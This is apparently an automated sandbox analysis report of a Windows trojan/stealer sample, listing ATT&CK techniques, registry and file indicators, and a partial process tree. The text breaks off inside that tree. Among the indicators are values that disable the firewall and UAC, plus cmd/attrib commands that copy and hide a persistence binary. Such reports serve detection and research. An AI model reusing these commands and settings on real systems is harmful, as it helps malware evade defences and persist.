25e63c5766c468eb3d682b888c8540c87c94ab85fa36507c268dbf089acd1314

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13/09/2024, 12:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

de4d5653904e71f077a0ce02a6ae0897_JaffaCakes118.exe
Size

409KB
MD5

de4d5653904e71f077a0ce02a6ae0897
SHA1

d1c4ae2a6cfd13d20a7264b80e080c9e885058d8
SHA256

25e63c5766c468eb3d682b888c8540c87c94ab85fa36507c268dbf089acd1314
SHA512

3cbd8fc886c2ab6d7bcfe4b8d2502b409e05a80b65acf5d8e00e739f9c59d8894b3d3cc44c3d563cd136a33f3d7a35122c6d2127825002811a2b6f496d4b4d75
SSDEEP

6144:+H2Oh5XR6qTRUHwFxL7GxMN3C/JJ1xXj3AjlvVg5n/oGH0HGJezZya9v4zqC:Jk5XR6qtUQFxLixOC/bj3QWnJUszqC

Score

10^/10

discovery evasion persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1860	netsh.exe
3432	netsh.exe
1712	netsh.exe
5104	netsh.exe

Sets file to hidden 1 TTPs 12 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1608	attrib.exe
4368	attrib.exe
2168	attrib.exe
4904	attrib.exe
3740	attrib.exe
1036	attrib.exe
4472	attrib.exe
456	attrib.exe
1792	attrib.exe
3964	attrib.exe
5032	attrib.exe
1672	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	4640.29905
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	winspace.scr

Executes dropped EXE 2 IoCs

pid	Process
2872	4640.29905
2792	winspace.scr

Loads dropped DLL 1 IoCs

pid	Process
2376	wmplayer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\directplay = "C:\\Users\\Admin\\AppData\\Roaming\\directplay.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\directplay = "C:\\Users\\Admin\\AppData\\Roaming\\directplay.exe"	wmplayer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\directplay = "C:\\Users\\Admin\\AppData\\Roaming\\directplay.exe"	reg.exe

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\E:	wmplayer.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\E:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\X:	wmplayer.exe

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	C:\autorun.inf	wmplayer.exe
File created	F:\autorun.inf	wmplayer.exe
File created	D:\autorun.inf	wmplayer.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\sysclock.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysclock.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\sysclock.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\sysclock.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\sysclock.exe	attrib.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 58 IoCs

pid	Process
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2792	winspace.scr
2792	winspace.scr
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2376	wmplayer.exe
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr
2792	winspace.scr

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2560	sc.exe
3100	sc.exe
2960	sc.exe
2896	sc.exe
3928	sc.exe
828	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3952	2872	WerFault.exe	85
4360	2872	WerFault.exe	85

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4640.29905
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unregmp2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	de4d5653904e71f077a0ce02a6ae0897_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Modifies Control Panel 2 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	4640.29905
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\Desktop\ScreenSaveActive = "1"	4640.29905

Modifies Internet Explorer settings 1 TTPs 24 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_StatusBar = "yes"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_FullURL = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_FullURL = "yes"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Show_StatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer	wmplayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}"	wmplayer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905
2872	4640.29905

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2376	wmplayer.exe
Token: SeCreatePagefilePrivilege	2376	wmplayer.exe
Token: SeShutdownPrivilege	3536	unregmp2.exe
Token: SeCreatePagefilePrivilege	3536	unregmp2.exe
Token: SeDebugPrivilege	2872	4640.29905
Token: SeDebugPrivilege	2872	4640.29905
Token: SeDebugPrivilege	2872	4640.29905
Token: SeDebugPrivilege	2792	winspace.scr
Token: SeDebugPrivilege	2792	winspace.scr
Token: SeDebugPrivilege	2792	winspace.scr

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2660	2172	de4d5653904e71f077a0ce02a6ae0897_JaffaCakes118.exe	83
PID 2172 wrote to memory of 2660	2172	de4d5653904e71f077a0ce02a6ae0897_JaffaCakes118.exe	83
PID 2172 wrote to memory of 2660	2172	de4d5653904e71f077a0ce02a6ae0897_JaffaCakes118.exe	83
PID 2660 wrote to memory of 2872	2660	cmd.exe	85
PID 2660 wrote to memory of 2872	2660	cmd.exe	85
PID 2660 wrote to memory of 2872	2660	cmd.exe	85
PID 2872 wrote to memory of 2416	2872	4640.29905	97
PID 2872 wrote to memory of 2416	2872	4640.29905	97
PID 2872 wrote to memory of 2416	2872	4640.29905	97
PID 2416 wrote to memory of 4928	2416	cmd.exe	99
PID 2416 wrote to memory of 4928	2416	cmd.exe	99
PID 2416 wrote to memory of 4928	2416	cmd.exe	99
PID 2872 wrote to memory of 4284	2872	4640.29905	100
PID 2872 wrote to memory of 4284	2872	4640.29905	100
PID 2872 wrote to memory of 4284	2872	4640.29905	100
PID 2872 wrote to memory of 4920	2872	4640.29905	102
PID 2872 wrote to memory of 4920	2872	4640.29905	102
PID 2872 wrote to memory of 4920	2872	4640.29905	102
PID 2872 wrote to memory of 4360	2872	4640.29905	104
PID 2872 wrote to memory of 4360	2872	4640.29905	104
PID 2872 wrote to memory of 4360	2872	4640.29905	104
PID 2872 wrote to memory of 1636	2872	4640.29905	106
PID 2872 wrote to memory of 1636	2872	4640.29905	106
PID 2872 wrote to memory of 1636	2872	4640.29905	106
PID 4920 wrote to memory of 1608	4920	cmd.exe	108
PID 4920 wrote to memory of 1608	4920	cmd.exe	108
PID 4920 wrote to memory of 1608	4920	cmd.exe	108
PID 4360 wrote to memory of 4000	4360	cmd.exe	109
PID 4360 wrote to memory of 4000	4360	cmd.exe	109
PID 4360 wrote to memory of 4000	4360	cmd.exe	109
PID 1636 wrote to memory of 828	1636	cmd.exe	110
PID 1636 wrote to memory of 828	1636	cmd.exe	110
PID 1636 wrote to memory of 828	1636	cmd.exe	110
PID 2872 wrote to memory of 1016	2872	4640.29905	111
PID 2872 wrote to memory of 1016	2872	4640.29905	111
PID 2872 wrote to memory of 1016	2872	4640.29905	111
PID 2872 wrote to memory of 1692	2872	4640.29905	113
PID 2872 wrote to memory of 1692	2872	4640.29905	113
PID 2872 wrote to memory of 1692	2872	4640.29905	113
PID 2872 wrote to memory of 3100	2872	4640.29905	115
PID 2872 wrote to memory of 3100	2872	4640.29905	115
PID 2872 wrote to memory of 3100	2872	4640.29905	115
PID 1692 wrote to memory of 1036	1692	cmd.exe	117
PID 1692 wrote to memory of 1036	1692	cmd.exe	117
PID 1692 wrote to memory of 1036	1692	cmd.exe	117
PID 2872 wrote to memory of 3580	2872	4640.29905	118
PID 2872 wrote to memory of 3580	2872	4640.29905	118
PID 2872 wrote to memory of 3580	2872	4640.29905	118
PID 3580 wrote to memory of 728	3580	cmd.exe	120
PID 3580 wrote to memory of 728	3580	cmd.exe	120
PID 3580 wrote to memory of 728	3580	cmd.exe	120
PID 2872 wrote to memory of 3756	2872	4640.29905	121
PID 2872 wrote to memory of 3756	2872	4640.29905	121
PID 2872 wrote to memory of 3756	2872	4640.29905	121
PID 2872 wrote to memory of 1464	2872	4640.29905	123
PID 2872 wrote to memory of 1464	2872	4640.29905	123
PID 2872 wrote to memory of 1464	2872	4640.29905	123
PID 2872 wrote to memory of 1916	2872	4640.29905	125
PID 2872 wrote to memory of 1916	2872	4640.29905	125
PID 2872 wrote to memory of 1916	2872	4640.29905	125
PID 2872 wrote to memory of 5060	2872	4640.29905	127
PID 2872 wrote to memory of 5060	2872	4640.29905	127
PID 2872 wrote to memory of 5060	2872	4640.29905	127
PID 2872 wrote to memory of 216	2872	4640.29905	129

Views/modifies file attributes 1 TTPs 22 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3044	attrib.exe
3740	attrib.exe
4928	attrib.exe
1608	attrib.exe
828	attrib.exe
5032	attrib.exe
1672	attrib.exe
2168	attrib.exe
4888	attrib.exe
4904	attrib.exe
2360	attrib.exe
220	attrib.exe
456	attrib.exe
1036	attrib.exe
728	attrib.exe
1988	attrib.exe
3932	attrib.exe
4368	attrib.exe
4472	attrib.exe
456	attrib.exe
1792	attrib.exe
3964	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr /s
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib -R -H -S "%appdata%\directplay.exe"
    3⤵
    PID:64
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -R -H -S "C:\Users\Admin\AppData\Roaming\directplay.exe"
      4⤵
      Views/modifies file attributes
      PID:456
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winspace.scr" "%appdata%\directplay.exe"
    3⤵
    PID:1388
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c attrib +R +H +S "%appdata%\directplay.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1504
  - - C:\Windows\SysWOW64\attrib.exe
